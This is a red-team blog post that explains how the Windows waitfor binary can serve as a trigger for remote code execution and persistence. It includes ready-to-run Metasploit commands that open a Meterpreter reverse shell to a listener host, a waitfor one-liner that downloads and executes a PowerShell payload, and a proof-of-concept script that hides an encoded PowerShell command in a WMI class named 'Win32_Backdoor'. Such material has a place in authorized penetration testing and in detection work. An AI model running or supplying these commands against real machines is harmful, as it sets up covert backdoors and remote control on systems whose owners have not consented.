February 4, 2020
Persistence Persistence, PowerShell, Waitfor, WMI
Waitfor is a Microsoft binary which is typically used to synchronize computers across a network by sending signals. This communication mechanism can be used in a red team operation in order to download and execution arbitrary code and for persistence. The binary is stored in C:\Windows\System32 folder which means that local administrator privileges are required to perform this activity and both hosts (sender and receiver) needs to be on the same network segment.
Metasploit Framework can be used to host a PowerShell based payload by using the “web_delivery” module.
use exploit/multi/script/web_delivery set target 5 set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.13 exploit
The “waitfor” command accepts several parameters. The /s parameter specifies the IP address of the remote host that the signal will be sent or the loopback address can be used if it is executed locally. The /si parameter sends the signal across the network and the last component is the name of the signal.
The “waitfor” needs to be executed on the target host with the name of the signal and appending the PowerShell command.
waitfor /s 127.0.0.1 /si pentestlab waitfor pentestlab && powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.13:8080/pentestlaboratories');
When the signal is received on the host the command will be executed and a Meterpreter session will open.
The problem when this method is used for persistence is that once the trigger command is executed the process “waitfor.exe” will exit. To overcome this problem 3gstudent developed a PowerShell script which is storing the command in a WMI class in order to enable the wait mode continuously.
<# A quick POC to use Waitfor.exe to maintain persistence Author: 3gstudent @3gstudent Learn from:https://twitter.com/danielhbohannon/status/872258924078092288 #> $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null) $StaticClass.Name = 'Win32_Backdoor' $StaticClass.Put()| Out-Null $StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApAC4AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==") $StaticClass.Put() | Out-Null $exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value; iex $exec | Out-Null
Once the module is imported it will execute the “waitfor” command.
Import-Module .\Waitfor-Persistence.ps1
Executing the trigger command will create a communication channel with the target host. The command can be run multiple times since the “waitfor” is always in wait mode.
Metasploit Framework has also implemented this technique of storing the payload inside a WMI class and using the “waitfor” as a trigger.
use exploit/windows/local/wmi_persistence set PERSISTENCE_METHOD WAITFOR set WAITFOR_TRIGGER pentestlab set SESSION 2 set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.13 set LPORT 4444 exploit
Upon execution the module will install an arbitrary payload inside a WMI class. It will also generate the command that needs to be used in order to retrieve again a Meterpreter session.
Signal can be sent to the target system from another host on the network with shell access.
The following GIF demonstrates how “waitfor” binary can be used to download and execute an arbitrary payload.